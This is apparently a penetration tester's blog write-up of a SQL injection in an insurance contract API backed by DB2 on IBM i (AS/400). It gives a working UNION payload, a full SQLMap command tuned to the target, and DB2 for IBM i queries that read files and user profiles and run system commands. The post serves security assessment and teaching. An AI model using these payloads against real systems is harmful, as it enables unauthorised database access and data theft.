Skip to content
Cybersecurity

Exploring SQL injection: a deep dive into legacy systems and AS/400 admin access

Deep dive into SQL injection attacks, showing how attackers escalate from vulnerable web inputs to IBM i AS400 administrative access.

Partager sur

An exposed SQL error returned by an insurance contract management API marked the starting point of this SQL injection investigation.

Screenshot of the SQL error returned by a contract management API, and that started an SQL injection investigation by the I-TRACING Audit and Offensive Security team
Detailed SQL error code, returned within a Java error, at the origin of an investigation, by the I-TRACING Audit and Offensive Security team, on a SQL injection

Such a level of detail suggests a straightforward exploitation of the injection: the detailed query is returned within a Java error. Two exploitation ideas come to mind: Error Based since the full error stack is returned, and Union Based, which allows data extraction from virtually any query.

Before rushing to use SQLMap to automate data extraction from the database, it can be interesting to examine how this query is constructed to gather information about the DBMS being used and thus limit the number of requests SQLMap needs to perform for exploitation.

SQL
SELECT 
	CASE WHEN S0SITP>=10 THEN 'CLOSED' ELSE 'OPEN' END CLAIM_STATUS,
	digits(s0BRANCH) || digits(S0$SIN) N_CLAIM,
	TRIM(SMANAG) AS MANAGER_CLAIM,
	DIGITS(SACLAIM) || '-' || DIGITS(SMCLAIM) || '-' || DIGITS(SDCLAIM) AS OCCURENCE_DATE,
	TRIM(E.TVDESC) OCCURENCE_TYPE,
	TRIM(SRESP)  || '%' RESPONSABILITY,
	TRIM(S0BRANCH) BRANCH,
	TRIM(SNPOLIC) POLICY_NUMBER 
FROM DBGISDT.SINI00 
    LEFT JOIN DBGISCT.TRLINF D ON 
	    D.TFBRANCH=S0BRANCH 
	    AND D.TFTSEG=S0TSEG 
	    AND D.TFTYPE ='S0' 
	    AND D.TFCONC ='TYPESIN'
    LEFT JOIN DBGISCT.TABVAL E ON 
	    D.TFVALO=E.TV$INF 
	    AND S0INF6=E.TVVALI
WHERE 
    (S0BRANCH=po AND SNPOLIC=licy) 
    and not exists (
	    Select * from DBGISCT.GROUP3 
	    WHERE GR$CLA=015 and GR$GRU=1 and s0BRANCH=GRBRANCH and s0tseg=GRTSEG
    )

A good clue to identify the DBMS being used is to look for the SQL functions used, as many are DBMS-specific. Here, the DIGITS function does not seem to come from the most common DBMSs. A quick internet search leads us to the DB2 documentation.

Another way to identify the DBMS is to examine the error returned by the server: Adapter Runtime (Adapter Service): Unable to invoke adapter service client.cec.adapters.jdbc:dynamiciSeriesAdapter with connection client.connections.adapters.jdbc:iseries. We are dealing with an IBM iSeries mainframe, and the database being used is certainly DB2, which confirms our initial hypothesis.

To avoid overloading the client’s server with unnecessary requests, it is wise to construct the exploitable query and provide it directly to SQLMap.

The executed query imposes the following constraints to achieve a functional injection:

  • 8 columns are returned, all of VARCHAR type (using TRIM or string concatenation)
  • the id_policy input is split into 2 elements and injected into the WHERE condition at the end of the query
  • the expected value is numeric since there is no ' to wrap it
  • the use of line breaks prevents the use of comments to escape the end of the query (-- comments the rest of the current line and /* ... */ requires closing the comment to be syntactically correct)

The following payload can be used (keeping the table within which the UNION search is performed to ensure that the columns used in the WHERE condition exist):

123) UNION SELECT '1','2','3','4','5','6','7','8' FROM DBGISDT.SINI00 WHERE (1=1

The injection works, and the order of returned columns is preserved!

This gives the following SQLMap command, finding the injection in a single test:

sqlmap -u "https://client.local:5766/gateway/Sinistros/1.0/sinistros/list" --method="POST" --data='{"id_policy":"123"}' --proxy "http://localhost:8081" --technique U --union-cols=8 --union-char="'a'" --union-from="DBGISDT.SINI00" -p "id_policy" --prefix=")" --suffix="WHERE (1=1" --tamper unionalltounion.py --dbms "IBM DB2"

SQLMap command allowing to find the SQL injection in a single test

However, when extracting information, SQLMap fails to retrieve data due to server errors. For example, with --current-user:

SQLMap failing to retrieve data during information extraction, due to server errors

The errors returned by the server to requests made by SQLMap are as follows: [SQL0204] SYSVERSIONS in SYSIBM type *FILE not found. This error stems from differences between DB2 implementations across different systems. Here the system schemas are those of DB2 for IBM i while SQLMap works with the schemas of DB2 UDB.

Most of the queries recorded in the file /sqlmap/data/xml/queries.xml are thus unusable for this injection.

The research on DB2 for IBM i we conducted allowed us to build the following list of payloads for this DBMS: https://github.com/I-TRACING-ASO/blog-sources/blob/main/SQL-Injection-to-AS400-master/list-sql-queries-DB2-for-IBMi.md#standard-queries-for-db2-for-ibm-i

We integrated the payloads found on DB2 for IBM i into the SQLMap configuration files. These modifications are a straightforward upgrade to implement to assist us during the investigation. A pull request should be proposed to add this DBMS permanently to SQLMap.

In the file /sqlmap/data/xml/queries.xml, replace the IBM DB2 tag with the content of this file: https://github.com/I-TRACING-ASO/blog-sources/blob/main/SQL-Injection-to-AS400-master/sqlmap-queries.xml

Several avenues remain to be explored to complete the injections and possible exploitations on DB2 for IBM i, as not all aspects could be addressed within the scope of the investigation.

All queries provided below were found during documentation exploration to supplement our investigation but have not been tested on DB2 for IBM i.

SELECT * FROM QSYS2.AUTHORIZATION_LIST_USER_INFO WHERE AUTHORIZATION_NAME='<user>';

SELECT * FROM QSYS2.AUTHORIZATION_LIST_USER_INFO WHERE AUTHORIZATION_NAME='*PUBLIC';

The iSeries execution context is particular and does not allow the use of commands valid on Linux. The following query seems to work if the user has sufficient rights and allows reading the profile information of a user.

SELECT VARCHAR(QSYS2.QCMDEXC('DSPUSRPRF USRPRF(IBM)')) FROM sysibm.sysdummy1

However, it returns no information in DB2 and should be used with an output file to retrieve its result.

SELECT * FROM TABLE(QSYS2.IFS_READ(PATH_NAME => '/path/to/file', END_OF_LINE => 'CRLF'));
SELECT ENVIRONMENT_VARIABLE_NAME, ENVIRONMENT_VARIABLE_VALUE FROM QSYS2.ENVIRONMENT_VARIABLE_INFO WHERE ENVIRONMENT_VARIABLE_TYPE = 'SYSTEM'

SELECT DATA_BINARY FROM TABLE(QSYS2.USER_SPACE(USER_SPACE => 'USRSPACE1', USER_SPACE_LIBRARY => '*CURLIB*'));

SELECT DATA_BINARY FROM TABLE(QSYS2.USER_SPACE(USER_SPACE => 'USRSPACE1', USER_SPACE_LIBRARY => '*LIBL*'));

Conclusion

Beyond the technical exploitation, this investigation serves as a reminder that:

  • Detailed error messages are a significant security risk and should never be exposed in production environments
  • Open-source tools like SQLMap, while powerful, may not cover all edge cases and require customization for comprehensive security assessments
  • Thorough documentation research and understanding of the target system’s architecture are essential for successful exploitation
  • Simple injections in any API endpoints can have critical security consequences

Amos GEORGE, Audit and Offensive Security team, I-TRACING

10 February 2026